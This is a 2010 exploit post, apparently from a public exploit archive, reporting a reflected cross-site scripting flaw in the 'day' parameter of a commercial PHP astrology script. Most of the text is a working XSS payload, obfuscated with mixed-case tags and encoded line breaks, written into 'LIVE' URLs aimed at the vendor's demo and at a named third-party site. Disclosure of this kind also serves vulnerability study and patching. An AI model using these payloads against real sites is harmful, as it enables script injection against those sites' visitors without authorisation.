Astrology Remote XSS Vulnerabilities
Posted on 12 March 2010
==================================== Astrology Remote XSS Vulnerabilities ==================================== [»] Astrology Remote XSS Vulnerabilities =========================================================================== === [»] Script: [ Astrology ] [»] Language: [ PHP ] [»] Download: [ http://www.phpscriptsnow.com/product_info.php?cPath=21&products_id=28 ] [»] Team: [ EvilWay ] [»] Dork: [ OFF ] [»] Price: [ $19.99 ] ########################################################################### ===[ Exploit XSS + LIVE : vulnerability ]=== [»] http://www.site.com/patch/celebrities.php?month=01&day=[XSS] [»] http://phpscriptsnow.com/demo/astrology/celebrities.php?month=01&day=1<ScRi Pt %0A%0D>alert(309147116220)%3B</ScRiPt> [»] http://www.gypsy-fortuneteller.com/celebrities.php?month=01&day=1<ScRiPt %0A%0D>alert(309147116220)%3B</ScRiPt> Author: Moudi # ~ - [ [ : Inj3ct0r : ] ]